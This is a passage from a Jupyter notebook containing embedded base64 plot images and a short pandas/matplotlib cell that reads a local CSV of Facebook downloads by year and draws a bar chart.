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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd # import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "\n", + "# reading the csv file \n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB3.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "#making a dataframe\n", + "df = pd.DataFrame(stats)\n", + "\n", + "#get x list\n", + "x = list(df.iloc[:, 0])\n", + "#get y list\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "#plotting\n", + "plt.title(\"Facebook downloads by year\")\n", + "plt.xlabel(\"Year\")\n", + "plt.ylabel(\"Downloads (Million's)\")\n", + "plt.bar(x,y)\n", + "plt.grid(color='r', linestyle='--', linewidth=0.5)\n", + "plt.show()" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "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